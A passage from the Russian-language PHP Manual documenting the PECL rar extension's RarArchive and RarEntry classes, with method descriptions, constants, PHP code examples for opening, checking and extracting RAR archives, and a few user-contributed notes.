Пример #2 Процедурный стиль

<?php
$rar_arch = rar_open('solid.rar');
if ($rar_arch === FALSE)
die("Не смог открыть RAR архив.");
$rar_entry = rar_entry_get($rar_arch, 'tese.txt');
if ($rar_entry === FALSE)
die("Не смог достать этот объект");
echo get_class($rar_entry)."\n";
echo $rar_entry;
rar_close($rar_arch);
?>

Смотрите также

  • RarArchive::getEntries() - Возвращает полный список элементов из RAR архива
  • rar:// обработчик (wrapper)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, не сломан ли архив (не завершён)

  • « RarArchive::getEntry
  • RarArchive::isSolid »
  • PHP Manual
  • RarArchive
  • Проверяет, не сломан ли архив (не завершён)

RarArchive::isBroken

rar_broken_is

(PECL rar >= 3.0.0)

RarArchive::isBroken -- rar_broken_is — Проверяет, не сломан ли архив (не завершён)

Описание

Объектно-ориентированный стиль (метод):

public RarArchive::isBroken(): bool

Процедурный стиль:

rar_broken_is(RarArchive $rarfile): bool

Функция определяет, является ли архив незавершённым, т.е. том обрезан или отсутствует.

Список параметров

rarfile

Объект RarArchive, открытый с помощью rar_open().

Возвращаемые значения

Возвращает true, если архив сломан и false, если нет. Также, функция может вернуть false, если переданный файл уже закрыт. Единственный вариант определить точную причину - это разрешить исключения с помощью RarException::setUsingExceptions(); однако, это не так уж и важно, поскольку приложение всё равно не сможет работать с закрытым файлом.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* третий аргумент служит для подавления сообщений */
$arch = RarArchive::open($file, null, 'retnull');
var_dump($arch->isBroken());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)

Пример #2 Процедурный стиль

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* третий аргумент служит для подавления сообщений */
$arch = rar_open($file, null, 'retnull');
var_dump(rar_broken_is($arch));
?>

Смотрите также

  • RarArchive::setAllowBroken() - Открывать ли повреждённые архивы

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли архив сплошным

  • « RarArchive::isBroken
  • RarArchive::open »
  • PHP Manual
  • RarArchive
  • Проверить, является ли архив сплошным

RarArchive::isSolid

rar_solid_is

(PECL rar >= 2.0.0)

RarArchive::isSolid -- rar_solid_is — Проверить, является ли архив сплошным

Описание

Объектно-ориентированный стиль (метод):

public RarArchive::isSolid(): bool

Процедурный стиль:

rar_solid_is(RarArchive $rarfile): bool

Проверяет, является ли архив сплошным. Извлечение одного конкретного файла из сплошного архива заметно медленнее.

Список параметров

rarfile

Объект RarArchive, открытый с помощью rar_open().

Возвращаемые значения

Возвращает true, если да и false, если нет.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$arch1 = RarArchive::open("store_method.rar");
$arch2 = RarArchive::open("solid.rar");
echo "$arch1: " . ($arch1->isSolid()?'yes':'no') ."\n";
echo "$arch2: " . ($arch2->isSolid()?'yes':'no') . "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

RAR Archive "C:\php_rar\trunk\tests\store_method.rar": no
RAR Archive "C:\php_rar\trunk\tests\solid.rar": yes

Пример #2 Процедурный стиль

<?php
$arch1 = rar_open("store_method.rar");
$arch2 = rar_open("solid.rar");
echo "$arch1: " . (rar_solid_is($arch1)?'yes':'no') ."\n";
echo "$arch2: " . (rar_solid_is($arch2)?'yes':'no') . "\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Открывает архив RAR

  • « RarArchive::isSolid
  • RarArchive::setAllowBroken »
  • PHP Manual
  • RarArchive
  • Открывает архив RAR

RarArchive::open

rar_open

(PECL rar >= 2.0.0)

RarArchive::open -- rar_open — Открывает архив RAR

Описание

Объектно-ориентированный стиль (метод):

public static RarArchive::open(string $filename, string $password = NULL, callable $volume_callback = NULL): RarArchive|false

Процедурный стиль:

rar_open(string $filename, string $password = NULL, callable $volume_callback = NULL): RarArchive|false

Открывает указанный RAR-архив и возвращает объект RarArchive, представляющий его.

Замечание:

При открытии многотомного архива путь к первому тому должен быть передан первым параметром. Иначе не будут видны все файлы.

Список параметров

filename

Путь к архиву Rar.

password

Пароль, если необходимо расшифровать заголовки архива. Этот же пароль будет использоваться по умолчанию, если будут найдены зашифрованные файлы. Учтите, что файлы могут быть зашифрованы с разными паролями.

volume_callback

Функция, которой передаётся единственный параметр - путь к тому, который не был найден, и возвращающая строку с правильным путём для этого тома или null, если данный том не существует или неизвестен. Разработчик должен быть уверен, что данная функция не приведёт к зацикливанию, так как она вызывается повторно, если путь полученный предыдущим вызовом не соответствует нужному тому. Указание этого параметра устраняет предупреждения, которые появлялись бы, если бы том не был бы найден. В случае, если функция возвращает только null, то не будет ни одного предупреждения.

Внимание

До версии 2.0.0 эта функция не обрабатывала правильно относительные пути. В таких случаях используйте realpath().

Возвращаемые значения

Возвращает запрашиваемый объект RarArchive или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL rar 3.0.0 | Был добавлен volume_callback.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$rar_arch = RarArchive::open('encrypted_headers.rar', 'samplepassword');
if ($rar_arch === FALSE)
die("Неудачное открытие файла");

$entries = $rar_arch->getEntries();
if ($entries === FALSE)
die("Неудачное получение записей");

echo "Найдено " . count($entries) . " файлов.\n";

if (empty($entries))
die("Не найдено корректных записей.");

$stream = reset($entries)->getStream();
if ($stream === FALSE)
die("Неудачное открытие первого файла");

$rar_arch->close();

echo "Содержимое первого файла:\n";
echo stream_get_contents($stream);

fclose($stream);
?>

Результатом выполнения данного примера будет что-то подобное:

Найдено 2 файлов.
Содержимое первого файла:
Encrypted file 1 contents.

Пример #2 Процедурный стиль

<?php
$rar_arch = rar_open('encrypted_headers.rar', 'samplepassword');
if ($rar_arch === FALSE)
die("Неудачное открытие файла");

$entries = rar_list($rar_arch);
if ($entries === FALSE)
die("Failed fetching entries");

echo "Найдено " . count($entries) . " файлов.\n";

if (empty($entries))
die("Не найдено корректных записей.");

$stream = reset($entries)->getStream();
if ($stream === FALSE)
die("Неудачное открытие первого файла");

rar_close($rar_arch);

echo "Содержимое первого файла:\n";
echo stream_get_contents($stream);

fclose($stream);
?>

Пример #3 Callback-функция для тома

<?php
/* В этом примере есть том с именем multi_broken.part1.rar,
* а следующий том имеет имя multi.part2.rar */
function resolve($vol) {
if (preg_match('/_broken/', $vol))
return str_replace('_broken', '', $vol);
else
return null;
}
$rar_file1 = rar_open(dirname(__FILE__).'/multi_broken.part1.rar', null, 'resolve');
$entry = $rar_file1->getEntry('file2.txt');
$entry->extract(null, dirname(__FILE__) . "/temp_file2.txt");
?>

Смотрите также

  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.


Открывать ли повреждённые архивы

  • « RarArchive::open
  • RarArchive::__toString »
  • PHP Manual
  • RarArchive
  • Открывать ли повреждённые архивы

RarArchive::setAllowBroken

(PECL rar >= 3.0.0)

RarArchive::setAllowBroken — Открывать ли повреждённые архивы

Описание

Объектно-ориентированный стиль (метод):

public RarArchive::setAllowBroken(bool $allow_broken): bool

Процедурный стиль:

rar_allow_broken_set(RarArchive $rarfile, bool $allow_broken): bool

Метод определяет, можно ли пытаться читать повреждённый архив, или все операции с ним должны заканчиваться ошибкой. Повреждённые архивы - это такие архивы, которые открываются без ошибок, но при попытке прочитать записи возникают ошибки.

Список параметров

rarfile

Объект RarArchive, открытый с помощью rar_open().

allow_broken

Разрешать ли работу с повреждёнными архивами (true) или нет (false).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Ошибка может возникнуть только если файл уже закрыт.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* третий аргумент подавляет сообщение "volume not found" */
$a = RarArchive::open($file, null, 'retnull');
$a->setAllowBroken(true);
foreach ($a->getEntries() as $e) {
echo "$e\n";
}
var_dump(count($a));
?>

Результатом выполнения данного примера будет что-то подобное:

RarEntry for file "file1.txt" (52b28202)
int(1)

Пример #2 Процедурный стиль

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* третий аргумент подавляет сообщение "volume not found" */
$a = rar_open($file, null, 'retnull');
rar_allow_broken_set($a, true);
foreach (rar_list($a) as $e) {
echo "$e\n";
}
var_dump(count($a));
?>

Смотрите также

  • RarArchive::isBroken() - Проверяет, не сломан ли архив (не завершён)

User Contributed Notes

There are no user contributed notes for this page.


Получить текстовое представление

  • « RarArchive::setAllowBroken
  • RarEntry »
  • PHP Manual
  • RarArchive
  • Получить текстовое представление

RarArchive::__toString

(PECL rar >= 2.0.0)

RarArchive::__toString — Получить текстовое представление

Описание

public RarArchive::__toString(): string

Возвращает строку, представляющую объект RarArchive. Она содержит полный путь до текущего открытого тома архива и информацию о том, корректен ли ресурс или уже закрыт с помощью RarArchive::close().

Данный метод предназначен только для отладки, так как нет никакой гарантии из чего будет состоять ответ и как он будет отформатирован.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текстовое представление объекта RarArchive. Контент не определён.

Примеры

Пример #1 Пример использования RarArchive::__toString()

<?php
$rar_arch = RarArchive::open('latest_winrar.rar');
echo $rar_arch."\n";
$rar_arch->close();
echo $rar_arch."\n";
?>

Результатом выполнения данного примера будет что-то подобное:

RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar"
RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar" (closed)

User Contributed Notes

There are no user contributed notes for this page.


Класс RarEntry

(PECL rar >= 0.1)

Введение

Запись RAR, представляющая директорию или сжатый файл внутри архива RAR.

Обзор классов

final class RarEntry {
/* Константы */
const int HOST_MSDOS = 0;
const int HOST_OS2 = 1;
const int HOST_WIN32 = 2;
const int HOST_UNIX = 3;
const int HOST_MACOS = 4;
const int HOST_BEOS = 5;
const int ATTRIBUTE_WIN_READONLY = 1;
const int ATTRIBUTE_WIN_HIDDEN = 2;
const int ATTRIBUTE_WIN_SYSTEM = 4;
const int ATTRIBUTE_WIN_DIRECTORY = 16;
const int ATTRIBUTE_WIN_ARCHIVE = 32;
const int ATTRIBUTE_WIN_DEVICE = 64;
const int ATTRIBUTE_WIN_NORMAL = 128;
const int ATTRIBUTE_WIN_TEMPORARY = 256;
const int ATTRIBUTE_WIN_SPARSE_FILE = 512;
const int ATTRIBUTE_WIN_REPARSE_POINT = 1024;
const int ATTRIBUTE_WIN_COMPRESSED = 2048;
const int ATTRIBUTE_WIN_OFFLINE = 4096;
const int ATTRIBUTE_WIN_NOT_CONTENT_INDEXED = 8192;
const int ATTRIBUTE_WIN_ENCRYPTED = 16384;
const int ATTRIBUTE_WIN_VIRTUAL = 65536;
const int ATTRIBUTE_UNIX_WORLD_EXECUTE = 1;
const int ATTRIBUTE_UNIX_WORLD_WRITE = 2;
const int ATTRIBUTE_UNIX_WORLD_READ = 4;
const int ATTRIBUTE_UNIX_GROUP_EXECUTE = 8;
const int ATTRIBUTE_UNIX_GROUP_WRITE = 16;
const int ATTRIBUTE_UNIX_GROUP_READ = 32;
const int ATTRIBUTE_UNIX_OWNER_EXECUTE = 64;
const int ATTRIBUTE_UNIX_OWNER_WRITE = 128;
const int ATTRIBUTE_UNIX_OWNER_READ = 256;
const int ATTRIBUTE_UNIX_STICKY = 512;
const int ATTRIBUTE_UNIX_SETGID = 1024;
const int ATTRIBUTE_UNIX_SETUID = 2048;
const int ATTRIBUTE_UNIX_FINAL_QUARTET = 61440;
const int ATTRIBUTE_UNIX_FIFO = 4096;
const int ATTRIBUTE_UNIX_CHAR_DEV = 8192;
const int ATTRIBUTE_UNIX_DIRECTORY = 16384;
const int ATTRIBUTE_UNIX_BLOCK_DEV = 24576;
const int ATTRIBUTE_UNIX_REGULAR_FILE = 32768;
const int ATTRIBUTE_UNIX_SYM_LINK = 40960;
const int ATTRIBUTE_UNIX_SOCKET = 49152;
/* Методы */
public extract(
string $dir,
string $filepath = "",
string $password = NULL,
bool $extended_data = false
): bool
public getAttr(): int
public getCrc(): string
public getFileTime(): string
public getHostOs(): int
public getMethod(): int
public getName(): string
public getPackedSize(): int
public getStream(string $password = ?): resource|false
public getUnpackedSize(): int
public getVersion(): int
public isDirectory(): bool
public isEncrypted(): bool
public __toString(): string
}

Предопределённые константы

RarEntry::HOST_MSDOS

Если возвращённое значение RarEntry::getHostOs() равно этой константе, значит эта запись была добавлена в MS-DOS. Введена для замены RAR_HOST_MSDOS.

RarEntry::HOST_OS2

Если возвращённое значение RarEntry::getHostOs() равно этой константе, значит эта запись была добавлена в OS/2. Введена для замены RAR_HOST_OS2.

RarEntry::HOST_WIN32

Если возвращённое значение RarEntry::getHostOs() равно этой константе, значит эта запись была добавлена в Microsoft Windows. Введена для замены RAR_HOST_WIN32.

RarEntry::HOST_UNIX

Если возвращённое значение RarEntry::getHostOs() равно этой константе, значит эта запись была добавлена в UNIX. Введена для замены RAR_HOST_UNIX.

RarEntry::HOST_MACOS

Если возвращённое значение RarEntry::getHostOs() равно этой константе, значит эта запись была добавлена в Mac OS.

RarEntry::HOST_BEOS

Если возвращённое значение RarEntry::getHostOs() равно этой константе, значит эта запись была добавлена в BeOS. Введена для замены RAR_HOST_BEOS.

RarEntry::ATTRIBUTE_WIN_READONLY

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "read-only" для записей Windows.

RarEntry::ATTRIBUTE_WIN_HIDDEN

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "hidden" для записей Windows.

RarEntry::ATTRIBUTE_WIN_SYSTEM

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "system" для записей Windows.

RarEntry::ATTRIBUTE_WIN_DIRECTORY

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "directory" (является директорией) для записей Windows. Также смотрите описание метода RarEntry::isDirectory(), который также работает с записями, добавленными не через WinRAR.

RarEntry::ATTRIBUTE_WIN_ARCHIVE

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "archive" для записей Windows.

RarEntry::ATTRIBUTE_WIN_DEVICE

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "device" для записей Windows.

RarEntry::ATTRIBUTE_WIN_NORMAL

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "normal file" (НЕ является директорией) для записей Windows. Также смотрите описание метода RarEntry::isDirectory(), который также работает с записями, добавленными не через WinRAR.

RarEntry::ATTRIBUTE_WIN_TEMPORARY

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "temporary" для записей Windows.

RarEntry::ATTRIBUTE_WIN_SPARSE_FILE

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "sparse file" (разреженный файл NTFS) для записей Windows.

RarEntry::ATTRIBUTE_WIN_REPARSE_POINT

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "reparse point" (файл точки повторной обработки NTFS, т.е. пересечение директорий или точка монтирования файловой системы) для записей Windows.

RarEntry::ATTRIBUTE_WIN_COMPRESSED

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "compressed" (только NTFS) для записей Windows.

RarEntry::ATTRIBUTE_WIN_OFFLINE

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "offline" (запись отключена и недоступна) для записей Windows.

RarEntry::ATTRIBUTE_WIN_NOT_CONTENT_INDEXED

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "not content indexed" (запись должна быть проиндексирована) для записей Windows.

RarEntry::ATTRIBUTE_WIN_ENCRYPTED

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "encrypted" (только NTFS) для записей Windows.

RarEntry::ATTRIBUTE_WIN_VIRTUAL

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "virtual" (только NTFS) для записей Windows.

RarEntry::ATTRIBUTE_UNIX_WORLD_EXECUTE

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "executable" для всех для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_WORLD_WRITE

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "writable" для всех для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_WORLD_READ

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "readable" для всех для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_EXECUTE

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "executable" для группы для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_WRITE

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "writable" для группы для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_READ

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "readable" для группы для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_EXECUTE

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "executable" для владельца для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_WRITE

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "writable" для владельца для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_READ

Используется с RarEntry::getAttr(). Бит, представляющий запись с атрибутом "readable" для владельца для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_STICKY

Используется с RarEntry::getAttr(). Бит, представляющий запись с установленным "sticky bit" для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_SETGID

Используется с RarEntry::getAttr(). Бит, представляющий запись с установленным "setgid" для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_SETUID

Используется с RarEntry::getAttr(). Бит, представляющий запись с установленным "setuid" для записей UNIX.

RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET

Маска для изоляции четырёх последних бит (полубайт) для атрибутов UNIX
      (_S_IFMT, тип файловой маски). Используется с
       RarEntry::getAttr() и константами
      RarEntry::ATTRIBUTE_UNIX_FIFO,
      RarEntry::ATTRIBUTE_UNIX_CHAR_DEV,
      RarEntry::ATTRIBUTE_UNIX_DIRECTORY,
      RarEntry::ATTRIBUTE_UNIX_BLOCK_DEV,
      RarEntry::ATTRIBUTE_UNIX_REGULAR_FILE,
      RarEntry::ATTRIBUTE_UNIX_SYM_LINK и
      RarEntry::ATTRIBUTE_UNIX_SOCKET.

RarEntry::ATTRIBUTE_UNIX_FIFO

Специальные файлы FIFO в Unix будут иметь это значение в четырёх последних битах. Используется с RarEntry::getAttr() и константой RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_CHAR_DEV

Специальные файлы символьных устройств в Unix будут иметь это значение в четырёх последних битах. Используется с RarEntry::getAttr() и константой RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_DIRECTORY

Директории в Unix будут иметь это значение в четырёх последних битах. Используется с RarEntry::getAttr() и константой RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET. Также смотрите описание метода RarEntry::isDirectory(), который также работает с записями добавленными в других операционных системах.

RarEntry::ATTRIBUTE_UNIX_BLOCK_DEV

Специальные файлы блочных устройств в Unix будут иметь это значение в четырёх последних битах. Используется с RarEntry::getAttr() и константой RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_REGULAR_FILE

Обычные файлы (не директории) в Unix будут иметь это значение в четырёх последних битах. Используется с RarEntry::getAttr() и константой RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET. Также смотрите описание метода RarEntry::isDirectory(), который также работает с записями добавленными в других операционных системах.

RarEntry::ATTRIBUTE_UNIX_SYM_LINK

Символические ссылки в Unix будут иметь это значение в четырёх последних битах. Используется с RarEntry::getAttr() и константой RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_SOCKET

Специальные файлы сокетов в Unix будут иметь это значение в четырёх последних битах. Используется с RarEntry::getAttr() и константой RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

Содержание

  • RarEntry::extract — Извлекает элемент из архива
  • RarEntry::getAttr — Возвращает атрибуты элемента архива
  • RarEntry::getCrc — Возвращает CRC элемента архива
  • RarEntry::getFileTime — Возвращает последнее время изменения элемента
  • RarEntry::getHostOs — Возвращает оригинальную ОС элемента
  • RarEntry::getMethod — Возвращает метод компрессии элемента
  • RarEntry::getName — Возвращает имя элемента
  • RarEntry::getPackedSize — Возвращает размер сжатого элемента
  • RarEntry::getStream — Получить обработчик для записи
  • RarEntry::getUnpackedSize — Возвращает размер элемента в распакованном состоянии
  • RarEntry::getVersion — Возвращает минимальную версию программы RAR, необходимую для распаковки элемента
  • RarEntry::isDirectory — Проверяет, является ли запись директорией
  • RarEntry::isEncrypted — Проверяет, зашифрована ли запись
  • RarEntry::__toString — Получить текстовое представление записи

User Contributed Notes

There are no user contributed notes for this page.


Извлекает элемент из архива

  • « RarEntry
  • RarEntry::getAttr »
  • PHP Manual
  • RarEntry
  • Извлекает элемент из архива

RarEntry::extract

(PECL rar >= 0.1)

RarEntry::extract — Извлекает элемент из архива

Описание

public RarEntry::extract(
string $dir,
string $filepath = "",
string $password = NULL,
bool $extended_data = false
): bool

RarEntry::extract() извлекает содержимое элемента. При этом создаётся новый файл в указанной директории dir с именем совпадающим с именем элемента, если только не задан второй аргумент. Смотрите подробнее ниже.

Список параметров

dir

Путь к директории, куда необходимо извлечь файлы. Этот параметр учитывается только если не указан параметр filepath. Если оба параметра не указаны, то файлы извлекаются в текущую директорию.

filepath

Путь (полный или относительный) содержит директорию и имя извлекаемого файла. Этот параметр переопределяет и параметр dir и оригинальное имя файла.

password

Пароль используется для расшифровки текущего элемента. Если элемент не зашифрован, то этот параметр не будет использован и его можно не указывать. Если же этот параметр не указан, а элемент зашифрован, то будет использован пароль, переданный функции rar_open(), если её вызывали. Если передан неверный пароль, явно или неявно через rar_open(), то проверка CRC будет неудачной и будет возвращён false. Вы можете проверить является ли элемент зашифрованным с помощью RarEntry::isEncrypted().

extended_data

Если true, то в извлекаемый файл будет добавлена дополнительная информация, такая как NTFS ACL и владелец в системе Unix, если они присутствовали в архиве.

Внимание

До версии 2.0.0, не обрабатывала относительные пути корректно. Используйте для этой ситуации realpath().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL rar 3.0.0 | Был добавлен параметр extended_data.
PECL rar 3.0.0 | Исправлена поддержка RAR архивов с повторяющимися именами элементов.

Примеры

Пример #1 Пример использования RarEntry::extract()

<?php

$rar_file = rar_open('example.rar') or die("Не удалось открыть Rar архив");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Не удалось найти такую запись");

$entry->extract('/dir/to'); // создание /dir/to/Dir/file.txt
$entry->extract(false, '/dir/to/new_name.txt'); // создание /dir/to/new_name.txt

?>

Пример #2 Как извлечь все файлы из архива:

<?php

/* Пример от Erik Jenssen aka erix */

$filename = "foobar.rar";
$filepath = "/home/foo/bar/";

$rar_file = rar_open($filepath.$filename);
$list = rar_list($rar_file);
foreach($list as $file) {
$entry = rar_entry_get($rar_file, $file);
$entry->extract("."); // извлечь в текущий каталог
}
rar_close($rar_file);

?>

Смотрите также

  • RarEntry::getStream() - Получить обработчик для записи
  • rar:// wrapper

User Contributed Notes

nelson_km_94 at hotmail dot com 27-Jan-2015 07:41
Example #2 has a mistake.

This one works fine:
<?php

/* example by Erik Jenssen aka erix */

$filename = "foobar.rar";
$filepath = "/home/foo/bar/";

$rar_file = rar_open($filepath.$filename);
$list = rar_list($rar_file);
foreach($list as $file) {
    $entry = rar_entry_get($rar_file, $file->getName());
    $entry->extract("."); // extract to the current dir
}
rar_close($rar_file);

?>
Anonymous 20-May-2013 05:29
If the entry to extract is a directory as per RarEntry::isDirectory(), this method does not seem to extract the entries below that directory as one might expect from using the command-line RAR or WinRAR.


Возвращает атрибуты элемента архива

  • « RarEntry::extract
  • RarEntry::getCrc »
  • PHP Manual
  • RarEntry
  • Возвращает атрибуты элемента архива

RarEntry::getAttr

(PECL rar >= 0.1)

RarEntry::getAttr — Возвращает атрибуты элемента архива

Описание

public RarEntry::getAttr(): int

Возвращает атрибуты элемента архива, зависящие от операционной системы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает атрибуты или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования RarEntry::getAttr()

<?php

$rar_file = rar_open('example.rar') or die("Не удалось открыть Rar архив");

$entry = rar_entry_get($rar_file, 'dir/in/the/archive') or die("Не удалось найти такую запись");

$host_os = $entry->getHostOs();
$attr = $entry->getAttr();

switch($host_os) {
case RAR_HOST_MSDOS:
case RAR_HOST_OS2:
case RAR_HOST_WIN32:
case RAR_HOST_MACOS:
printf("%c%c%c%c%c%c\n",
($attr & 0x08) ? 'V' : '.',
($attr & 0x10) ? 'D' : '.',
($attr & 0x01) ? 'R' : '.',
($attr & 0x02) ? 'H' : '.',
($attr & 0x04) ? 'S' : '.',
($attr & 0x20) ? 'A' : '.');
break;
case RAR_HOST_UNIX:
case RAR_HOST_BEOS:
switch ($attr & 0xF000)
{
case 0x4000:
printf("d");
break;
case 0xA000:
printf("l");
break;
default:
printf("-");
break;
}
printf("%c%c%c%c%c%c%c%c%c\n",
($attr & 0x0100) ? 'r' : '-',
($attr & 0x0080) ? 'w' : '-',
($attr & 0x0040) ? (($attr & 0x0800) ? 's':'x'):(($attr & 0x0800) ? 'S':'-'),
($attr & 0x0020) ? 'r' : '-',
($attr & 0x0010) ? 'w' : '-',
($attr & 0x0008) ? (($attr & 0x0400) ? 's':'x'):(($attr & 0x0400) ? 'S':'-'),
($attr & 0x0004) ? 'r' : '-',
($attr & 0x0002) ? 'w' : '-',
($attr & 0x0001) ? 'x' : '-');
break;
}

rar_close($rar_file);

?>

Смотрите также

  • RarEntry::getHostOs() - Возвращает оригинальную ОС элемента
  • Константы RarEntry

User Contributed Notes

There are no user contributed notes for this page.


Возвращает CRC элемента архива

  • « RarEntry::getAttr
  • RarEntry::getFileTime »
  • PHP Manual
  • RarEntry
  • Возвращает CRC элемента архива

RarEntry::getCrc

(PECL rar >= 0.1)

RarEntry::getCrc — Возвращает CRC элемента архива

Описание

public RarEntry::getCrc(): string

Возвращает шестнадцатеричное строковое представление CRC элемента архива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает CRC элемента архива или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL rar 2.0.0 | Теперь этот метод возвращает корректные значения для многотомных архивов.

User Contributed Notes

aterlux at mail dot ru 19-Sep-2018 04:00
RarEntry::getCrc() returs a lowercase hex-string (e.g. 'bf6fa85c') the same as hash_... functions, using the same polynomial as 'crc32b' algorithm.
So, it can be used to check CRC after a stream unpacking:

<?php
  $archive_name = 'archive.rar';

  $entry_name = 'someentry.ext';

  $rar = RarArchive::open($archive_name) or die("Cannot open archive $archive_name");

  if ($rar->isBroken()) {
    die("The archive is broken!");
  }

  $entry = $rar->getEntry($entry_name) or die("Cannot find entry $entry_name");

  $stream = $entry->getStream() or die("Cannot open stream");

  $crc = hash_init('crc32b'); // Initializing the hash function

  while (!feof($stream)) {
    $s = fread($stream, 8192);
    if ($s === false) {
        // Error reading (do not use fread(...) or die(...), because fread can return '0'!)
      die('Error reading the compressed file.');
    }
    hash_update($crc, $s); // updating the hash

    // ...
    // Do whatever with the $s
  }

  fclose($stream);

  $got_crc = hash_final($crc);
  $need_crc = $entry->getCrc();

  print("Got CRC: $got_crc" . PHP_EOL);
  print("Need CRC: $need_crc" . PHP_EOL);

  if ($got_crc != $need_crc) {
    // rollback
    print("Sorry guys, the file was incorrect!" . PHP_EOL);
  } else {
    print("Everything is ok" . PHP_EOL);
  }
?>


Возвращает последнее время изменения элемента

  • « RarEntry::getCrc
  • RarEntry::getHostOs »
  • PHP Manual
  • RarEntry
  • Возвращает последнее время изменения элемента

RarEntry::getFileTime

(PECL rar >= 0.1)

RarEntry::getFileTime — Возвращает последнее время изменения элемента

Описание

public RarEntry::getFileTime(): string

Возвращает последнее время изменения элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает последнее время изменения элемента в виде строки в формате YYYY-MM-DD HH:II:SS, или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает оригинальную ОС элемента

  • « RarEntry::getFileTime
  • RarEntry::getMethod »
  • PHP Manual
  • RarEntry
  • Возвращает оригинальную ОС элемента

RarEntry::getHostOs

(PECL rar >= 0.1)

RarEntry::getHostOs — Возвращает оригинальную ОС элемента

Описание

public RarEntry::getHostOs(): int

Возвращает код оригинальной операционной системы, в которой был создан элемент архива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код ОС, или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования RarEntry::getHostOs()(версии >= 2.0.0)

<?php

$rar_file = rar_open('example.rar') or die("Не удалось открыть Rar архив");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Не удалось найти такую запись");

switch ($entry->getHostOs()) {
case RarEntry::HOST_MSDOS:
echo "MS-DOS\n";
break;
case RarEntry::HOST_OS2:
echo "OS2\n";
break;
case RarEntry::HOST_WIN32:
echo "Win32\n";
break;
case RarEntry::HOST_MACOS:
echo "MacOS\n";
break;
case RarEntry::HOST_UNIX:
echo "Unix/Linux\n";
break;
case RarEntry::HOST_BEOS:
echo "BeOS\n";
break;
}

?>

Пример #2 Пример использования RarEntry::getHostOs()(версии <= 1.0.0)

<?php

$rar_file = rar_open('example.rar') or die("Не удалось открыть Rar архив");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Не удалось найти такую запись");

switch ($entry->getHostOs()) {
case RAR_HOST_MSDOS:
echo "MS-DOS\n";
break;
case RAR_HOST_OS2:
echo "OS2\n";
break;
